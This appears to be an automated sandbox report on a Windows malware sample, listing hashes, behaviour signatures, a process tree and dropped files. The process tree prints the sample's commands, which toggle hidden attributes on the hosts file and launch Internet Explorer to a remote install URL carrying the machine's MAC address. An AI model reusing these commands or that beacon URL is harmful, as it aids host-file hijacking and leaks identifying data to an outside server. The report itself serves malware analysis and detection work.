Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    26/03/2024, 23:54

General

  • Target

    e04601365d29ebf9ccb2be4199cf3927.exe

  • Size

    46KB

  • MD5

    e04601365d29ebf9ccb2be4199cf3927

  • SHA1

    458e0c6e2794232edd009edb85161a268dce2ffc

  • SHA256

    32139691861cc3a58aa7b6ebf877082b70a6a506774b1f527d96d790ee263444

  • SHA512

    818c5bfcb8395e787738f5114455653df90ac25b8b63af7aa16aec696cdfbb880749a47801eec4fc65449bea2f145c16dac334ea49cc6c4b88bc497fc38c41fa

  • SSDEEP

    768:/MVvp3w/dAuxiXsbskaRXR6PAEDH4QpTIiIkyp0Gb8BBGHA+KCp3hdLq+NY:/MVvp3w/dA9kyiDb79v2p05GF/VhduP

Score
8/10

Malware Config

Signatures

  • Drops file in Drivers directory 1 IoCs
  • Sets file execution options in registry 2 TTPs 12 IoCs
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Drops file in Windows directory 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 36 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1404
      • C:\Users\Admin\AppData\Local\Temp\e04601365d29ebf9ccb2be4199cf3927.exe
        "C:\Users\Admin\AppData\Local\Temp\e04601365d29ebf9ccb2be4199cf3927.exe"
        2⤵
        • Drops file in Drivers directory
        • Sets file execution options in registry
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:2044
        • C:\Windows\SysWOW64\attrib.exe
          attrib -s -h "C:\Windows\system32\drivers\etc\hosts"
          3⤵
          • Views/modifies file attributes
          PID:2168
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +h "C:\Windows\system32\drivers\etc\hosts"
          3⤵
          • Sets file to hidden
          • Views/modifies file attributes
          PID:3040
        • C:\program files\internet explorer\iexplore.exe
          "C:\program files\internet explorer\iexplore.exe" "http://qww.sux333.cn/install.asp?ver=090220&tgid=ID01&address=52-30-91-13-7F-1B&regk=1&flag=db9bed565b441362b516c9f9c6d73395&frandom=1287"
          3⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2728
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2728 CREDAT:275457 /prefetch:2
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:2632

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3C428B1A3E5F57D887EC4B864FAC5DCC

            Filesize

            914B

            MD5

            e4a68ac854ac5242460afd72481b2a44

            SHA1

            df3c24f9bfd666761b268073fe06d1cc8d4f82a4

            SHA256

            cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f

            SHA512

            5622207e1ba285f172756f6019af92ac808ed63286e24dfecc1e79873fb5d140f1ceb7133f2476e89a5f75f711f9813a9fbb8fd5287f64adfdcc53b864f9bdc5

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

            Filesize

            68KB

            MD5

            29f65ba8e88c063813cc50a4ea544e93

            SHA1

            05a7040d5c127e68c25d81cc51271ffb8bef3568

            SHA256

            1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

            SHA512

            e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

            Filesize

            1KB

            MD5

            a266bb7dcc38a562631361bbf61dd11b

            SHA1

            3b1efd3a66ea28b16697394703a72ca340a05bd5

            SHA256

            df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

            SHA512

            0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3C428B1A3E5F57D887EC4B864FAC5DCC

            Filesize

            252B

            MD5

            ba05b5062927a5368109dc29b9923dd1

            SHA1

            9d74129d59809c3557647aed9146757819735d8d

            SHA256

            09d7c824ea481f90bc1dfe23ca368a7181ba7dacbb744a03e894f8dfcce128c4

            SHA512

            2c2c7c6d79a8731b4792a98ea006173b35a15afc05351263e999056373404bceac18dc132d653160e8ae409499994040398de57c051db2a9d71314659f491706

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            344B

            MD5

            1cdeb740a444d4a6b99e4f8b670826b6

            SHA1

            58b729c986725192b1cc04005ce93f4861a234b4

            SHA256

            ab70a8cf739467c50cadd0e35223ab6c4fa39773ae831ebfe7e34b2452d49c39

            SHA512

            ae6a6633ea5f9b9da72cb0fbd366eda0587b276d299b4fc5e17a05e60156dea7b36019c0131870482f704608f8cee4be6651e7375d51c91c8ed1161243fb11c8

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            344B

            MD5

            1a07dcf71a608a0b49a6c11b4aaae4e9

            SHA1

            584bd93f8acc360204e098742762da5dabdce5c4

            SHA256

            5458b9121b05eaf80d86c25aeca2656331eb93eaaa865fc20f68d312eb18ebf1

            SHA512

            ccdbe891adf66cacd0134d626b68203af3bbdd2844a151fcb527e5dae93eeba63a0dceb9ff8fd1d62b74e9ac523ad958bab41bef677530c60724578c546f7c40

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            344B

            MD5

            0368f9f49b960acce1df77c271f556be

            SHA1

            bdc0ea7f7d2dd90e3cc568646e65e13b0603e08d

            SHA256

            0563768aba3d10dc78c4e188965706b65d9931ab41d6dde3d747d4bbd14a8e0e

            SHA512

            094a10de5a74b4f4bbc8039e9805b5b97e5cc58b005d0da9dbf19f235aa2fb464e9f32c33a94b94a47a44c57f589051d3de29937983b626e2a1ee5a186b3923d

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            344B

            MD5

            54bab8ed48d0cc799d87eb78b0428cdf

            SHA1

            21a4665e5bd2ae2cca392f7c974e0864f793c684

            SHA256

            c091fd20381b49c73caa748af52594d7ede70c33fdeeb7b7511bea97d09929c6

            SHA512

            574d893ab6d43b73b63faa5067d444fd89b9ba37d4d4efff7d813deea5ff5a1a9c2f8d6c11d6ee4e7f8802f0424f3dd3c5e05e75ec6594d42575844c155e5d24

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            344B

            MD5

            39bb30b93c90e5baf466c021d7531258

            SHA1

            9dd989a8321352972b32e9ee72e64aa9caa25864

            SHA256

            b05a0594b064d3dea064699f57e29d4e4cc07880f952102223cb35b04447573b

            SHA512

            4181e9e9bb0215b99dfd0f3ab8f44731afc48eda908b2a6063100b23450a4b1ed57a4475c32c1e884aa6e95edf1611d506ca60654ca69546cf11efb2a59a11d3

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            344B

            MD5

            95865619b54e7d8d3f1a52637e80fb2f

            SHA1

            b7983668e16bc97f589022216c7af36ac25b96f0

            SHA256

            e6045f847cefb8378a6e48ee260a09c4b1daf3ff27d0ed71747251176d92a684

            SHA512

            1ce3f01356f3f38fcb2d026eb325f34edf2d2dc8f65880cc1ceace878b9add5000ab8d813181eb0e7607949d5fcc8e5af7bf9f615ae354196c098520582b48c3

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            344B

            MD5

            b916849611ffecbdd475829fc239aefa

            SHA1

            caf7842e7127667810ee054e0a5e622d6def4b34

            SHA256

            2768d00971fb43b8d808ffaaf807f390207c343a63dc16932235adb2f7d48c29

            SHA512

            d090dddbd29aefbd124e716039357579983ecfd741ef30e6c3a22eeb7669f4a30d0f215704f216c2f83e840eac5bcf876d56719356cf2a5beff96e0a0161e8e4

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            344B

            MD5

            cc66179e9987669028413d7bfdd5f3a7

            SHA1

            d56a1dde5eb4c92ae7665eeea95626bbe92f93ca

            SHA256

            01d62019f59fede9bcc533a8e63ef04bfa972f5ba8d5118a4dd8c38c5c69f903

            SHA512

            79863c115729dee4fd7aecf0565d5dd5276196692905f6f99bc3df7eaf0122299e973435ae12dc234bb99b7b7df4fa4ca9d1ef169028629e0fb7cafa88ccb494

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            344B

            MD5

            e550e4ddf0b27817c1e669740ddc339c

            SHA1

            18a3ca8e7a9055db9e8a41b2b6e4f9067e86b8ea

            SHA256

            2a5aaf0457ac43d0f12d04f9fee654d17527738f23b48a082dfacd5ba8bcd763

            SHA512

            26aa17ec6ac33f5ff7c435f848f0061a3eeea680a16cf3ccdf5258392c2359fe7379fdcb36e029695ca51f69cf5297d4e225c90116cedc5def155f5a7fde95b0

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

            Filesize

            242B

            MD5

            5318a0fc69e10216da0cc9b39fe2ac56

            SHA1

            2dac24678dab8e1dbd622ec0cdb597ffe8215ce3

            SHA256

            464ad3408848dc3dbe34899697dcdb6a6258c59f4160f9951a4d56a4ede6b5d7

            SHA512

            3e68760ab7f9feef54fd39dcc42333fa8f85f645dea120f4c954943fb3ce746e861c42ed542aaa3b908759d059bdb1d613ecfc0f65686252cf2368bad008ba62

          • C:\Users\Admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico

            Filesize

            4KB

            MD5

            da597791be3b6e732f0bc8b20e38ee62

            SHA1

            1125c45d285c360542027d7554a5c442288974de

            SHA256

            5b2c34b3c4e8dd898b664dba6c3786e2ff9869eff55d673aa48361f11325ed07

            SHA512

            d8dc8358727590a1ed74dc70356aedc0499552c2dc0cd4f7a01853dd85ceb3aead5fbdc7c75d7da36db6af2448ce5abdff64cebdca3533ecad953c061a9b338e

          • C:\Users\Admin\AppData\Local\Temp\Tar6EDF.tmp

            Filesize

            177KB

            MD5

            435a9ac180383f9fa094131b173a2f7b

            SHA1

            76944ea657a9db94f9a4bef38f88c46ed4166983

            SHA256

            67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

            SHA512

            1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

          • memory/1404-325-0x0000000002A50000-0x0000000002A51000-memory.dmp

            Filesize

            4KB

          • memory/1404-324-0x0000000002A50000-0x0000000002A51000-memory.dmp

            Filesize

            4KB